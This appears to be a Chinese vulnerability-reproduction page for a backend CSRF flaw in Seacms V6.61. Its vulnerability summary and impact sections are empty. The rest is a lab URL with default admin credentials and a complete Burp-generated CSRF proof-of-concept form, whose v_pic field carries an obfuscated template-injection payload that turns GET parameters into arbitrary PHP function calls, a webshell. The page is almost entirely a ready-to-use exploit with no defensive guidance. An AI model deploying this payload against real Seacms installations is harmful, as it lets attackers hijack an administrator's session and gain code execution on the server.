Seacms V6.61 后台csrf

一、漏洞简介

二、漏洞影响

三、复现过程

http://www.0-sec.org:10089/backend/，用户名和密码为admin | admin

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
  <!-- adjust action to your url -->
    <form action="http://www.0-sec.org/seacms/backend/admin_video.php?action=save&acttype=add" method="POST">
      <input type="hidden" name="v_commend" value="0" />
      <input type="hidden" name="v_name" value="getshell" />
      <input type="hidden" name="v_enname" value="ceshi" />
      <input type="hidden" name="v_color" value="#FF0000" />
      <input type="hidden" name="v_type" value="5" />
      <input type="hidden" name="v_state" value="5" />
      <input type="hidden" name="v_pic" value="{if:1)$GLOBALS['_G'.'ET'][a]($GLOBALS['_G'.'ET'][b]);//}{end if}" />
      <input type="hidden" name="v_spic" value="" />
      <input type="hidden" name="v_gpic" value="" />
      <input type="hidden" name="v_actor" value="" />
      <input type="hidden" name="v_director" value="" />
      <input type="hidden" name="v_commend" value="0" />
      <input type="hidden" name="v_note" value="" />
      <input type="hidden" name="v_tags" value="" />
      <input type="hidden" name="select3" value="" />
      <input type="hidden" name="v_publishyear" value="" />
      <input type="hidden" name="select2" value="" />
      <input type="hidden" name="v_lang" value="" />
      <input type="hidden" name="select1" value="" />
      <input type="hidden" name="v_publisharea" value="" />
      <input type="hidden" name="select4" value="" />
      <input type="hidden" name="v_ver" value="" />
      <input type="hidden" name="v_hit" value="0" />
      <input type="hidden" name="v_monthhit" value="0" />
      <input type="hidden" name="v_weekhit" value="0" />
      <input type="hidden" name="v_dayhit" value="0" />
      <input type="hidden" name="v_len" value="" />
      <input type="hidden" name="v_total" value="" />
      <input type="hidden" name="v_nickname" value="" />
      <input type="hidden" name="v_company" value="" />
      <input type="hidden" name="v_tvs" value="" />
      <input type="hidden" name="v_douban" value="" />
      <input type="hidden" name="v_mtime" value="" />
      <input type="hidden" name="v_imdb" value="" />
      <input type="hidden" name="v_score" value="" />
      <input type="hidden" name="v_scorenum" value="" />
      <input type="hidden" name="v_longtxt" value="" />
      <input type="hidden" name="v_money" value="0" />
      <input type="hidden" name="v_psd" value="" />
      <input type="hidden" name="v_playfrom[1]" value="" />
      <input type="hidden" name="v_playurl[1]" value="" />
      <input type="hidden" name="m_downfrom[1]" value="" />
      <input type="hidden" name="m_downurl[1]" value="" />
      <input type="hidden" name="v_content" value="" />
      <input type="hidden" name="Submit" value="�¡®�®š�浜¤" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

results matching ""

No results matching ""